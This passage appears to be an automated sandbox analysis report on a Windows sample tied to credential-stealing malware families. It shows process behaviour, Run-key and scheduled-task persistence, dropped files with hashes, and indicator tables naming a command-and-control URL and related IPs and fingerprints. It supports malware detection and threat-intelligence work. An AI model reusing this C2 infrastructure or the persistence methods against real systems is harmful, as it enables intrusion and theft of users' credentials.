Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:49:33	API Interceptor	234x Sleep call for process: file.exe modified
13:50:05	API Interceptor	18076049x Sleep call for process: skotes.exe modified
13:50:20	API Interceptor	234x Sleep call for process: 43cdd8ad97.exe modified
13:51:19	API Interceptor	1x Sleep call for process: firefox.exe modified
13:51:27	API Interceptor	1846910x Sleep call for process: 480f06d5d5.exe modified
19:50:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:50:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 43cdd8ad97.exe C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe
19:50:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 998d30a932.exe C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe
19:50:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run fd549fc84a.exe C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe
19:50:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8d8ec3a6f5.exe C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe
19:50:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 43cdd8ad97.exe C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe
19:51:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 998d30a932.exe C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe
19:51:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run fd549fc84a.exe C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe
19:51:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8d8ec3a6f5.exe C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe
19:53:11	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://connect-customization-8722.my.site.com/mystore/	Get hash	malicious	HTMLPhisher	Browse
	https://herald-review.com/users/logout-success/?expire=1626371676&referer_url=http://209.159.152.50	Get hash	malicious	HTMLPhisher	Browse
	https://michaelschwab.powerappsportals.com/	Get hash	malicious	Unknown	Browse
	https://arkansasbaptist.info/o360/index.html	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://ciicai-com.powerappsportals.com/	Get hash	malicious	Unknown	Browse
	https://stoorm5.activehosted.com/content/PNNm1e/2024/11/29/296d9a00-ab7c-413b-8445-d50603229893.pdf	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
151.101.65.91	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://connect-customization-8722.my.site.com/mystore/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	13.107.246.63
	https://herald-review.com/users/logout-success/?expire=1626371676&referer_url=http://209.159.152.50	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://michaelschwab.powerappsportals.com/	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://arkansasbaptist.info/o360/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	weWHT1b7JO.dll	Get hash	malicious	Unknown	Browse	185.199.111.133
	phish_alert_iocp_v1.4.48 (80).eml	Get hash	malicious	InvoiceScam	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	https://mobile.mail.yahoo.com/apps/affiliateRouter?brandUrl=https://www.google.com/amp/t.co/N0QLoca1EY&appName=YMailNorrin&partner=1&locale=1&pageId=commerce_intent&clickRef=message_header&region=us&annotation=&buckets=&segment=&interactedItem=&slot=&uuid=mailNA	Get hash	malicious	Unknown	Browse	151.101.66.137
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	185.199.109.133
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://economiesocialeestrie-my.sharepoint.com/:f:/g/personal/cynthia_economiesocialeestrie_ca/Eg3bU_gVnldCmtzlGs9oSUQBYKQRNnAURt93MlkOZFbwAg?email=gaston.stratford%40assnat.qc.ca&e=iSpthp&xsdata=MDV8MDJ8R2FzdG9uLlN0cmF0Zm9yZEBhc3NuYXQucWMuY2F8Y2RjYmI0YjE1ZGI0NGZhNmQzYjUwOGRkMTA4MmQxNTh8MWE1NjE5ODBkNjc0NGQzMGEyOTc1ODhjMDdhODMzNTN8MHwwfDYzODY4NDg3NjU1MjMyNTA1OHxVbmtub3dufFRXRnBiR1pzYjNkOGV5SkZiWEIwZVUxaGNHa2lPblJ5ZFdVc0lsWWlPaUl3TGpBdU1EQXdNQ0lzSWxBaU9pSlhhVzR6TWlJc0lrRk9Jam9pVFdGcGJDSXNJbGRVSWpveWZRPT18MHx8fA%3d%3d&sdata=YVp6WGNQM0psVGw2TU5teXRVbmhhMy9VaDRhYW5SeWdTN0pDaTBKV2p2Yz0%3d	Get hash	malicious	HTMLPhisher	Browse	104.47.75.220
	i686.elf	Get hash	malicious	Unknown	Browse	20.163.83.163
	i586.elf	Get hash	malicious	Unknown	Browse	20.115.35.137
	phish_alert_iocp_v1.4.48 (80).eml	Get hash	malicious	InvoiceScam	Browse	52.109.76.243
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	20.189.173.21
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	20.233.83.145
	file.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	20.233.83.145
	https://connect-customization-8722.my.site.com/mystore/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://clienti.documentipostali.it/#/public/email/a703266c-62aa-4024-8f0c-254725c31c25-	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://shorturl.at/IFOx4?US=7226wlev	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://mobile.mail.yahoo.com/apps/affiliateRouter?brandUrl=https://www.google.com/amp/t.co/N0QLoca1EY&appName=YMailNorrin&partner=1&locale=1&pageId=commerce_intent&clickRef=message_header&region=us&annotation=&buckets=&segment=&interactedItem=&slot=&uuid=mailNA	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://dareka4te.shop	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://totspotdaynursery.co.uk/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://connect-customization-8722.my.site.com/mystore/	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	Employee_Secure_Doc.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
	https://google.lk/url?q=ernie.grue@nationalmi.com&nationalmi.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#ZXJuaWUuZ3J1ZUBuYXRpb25hbG1pLmNvbQ==	Get hash	malicious	Unknown	Browse	52.149.20.212 20.190.147.6 13.107.246.63 2.18.84.141
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	weWHT1b7JO.dll	Get hash	malicious	Unknown	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	crypted_LummaC2.exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	crypted_LummaC2 (3).exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	Installer.exe	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
	file.ps1	Get hash	malicious	LummaC Stealer	Browse	52.168.112.67 104.21.16.9 52.182.143.212 20.42.73.29
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAFCGIJDAFBKFIECBGCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBAEHCAEGDHJKFHJKFIJKJEGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBKKKEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDGCGIDAKEBKECAFIEHCAKKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAEHCAEGDHJKFHJKFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJJJKFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_0f1981fe-2332-475d-a96f-a23f4e6db333.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7662
Entropy (8bit):	5.17307319946574
Encrypted:	false
SSDEEP:	192:kKMiGgzcbhbVbTbfbRbObtbyEl7nUr1JA6wnSrDtTkd/SA:kPCcNhnzFSJ0rwjnSrDhkd/z
MD5:	1682474F6669C8FB1407E2AAEF676C1D
SHA1:	920B03AA0538FC1125BABC41246F6051BE310288
SHA-256:	8AB670A255BBD129F5BC299AE424D4CCAF3448AF3CBD0DE3D42DDF087E2B49A4
SHA-512:	D7326EE17BD5A216D15FF1495273A23FF042E1C42581DCADBDAF817AE16818F9306FE93451CA6087E6C8378D0A04E738B06B2F21ADE5240992097D541DCC015E
Malicious:	false
Preview:	{"type":"uninstall","id":"0f1981fe-2332-475d-a96f-a23f4e6db333","creationDate":"2024-11-29T19:58:56.721Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"1fca7bd2-7b44-4c45-b0ea-e0486850ce95","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_0f1981fe-2332-475d-a96f-a23f4e6db333.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7662
Entropy (8bit):	5.17307319946574
Encrypted:	false
SSDEEP:	192:kKMiGgzcbhbVbTbfbRbObtbyEl7nUr1JA6wnSrDtTkd/SA:kPCcNhnzFSJ0rwjnSrDhkd/z
MD5:	1682474F6669C8FB1407E2AAEF676C1D
SHA1:	920B03AA0538FC1125BABC41246F6051BE310288
SHA-256:	8AB670A255BBD129F5BC299AE424D4CCAF3448AF3CBD0DE3D42DDF087E2B49A4
SHA-512:	D7326EE17BD5A216D15FF1495273A23FF042E1C42581DCADBDAF817AE16818F9306FE93451CA6087E6C8378D0A04E738B06B2F21ADE5240992097D541DCC015E
Malicious:	false
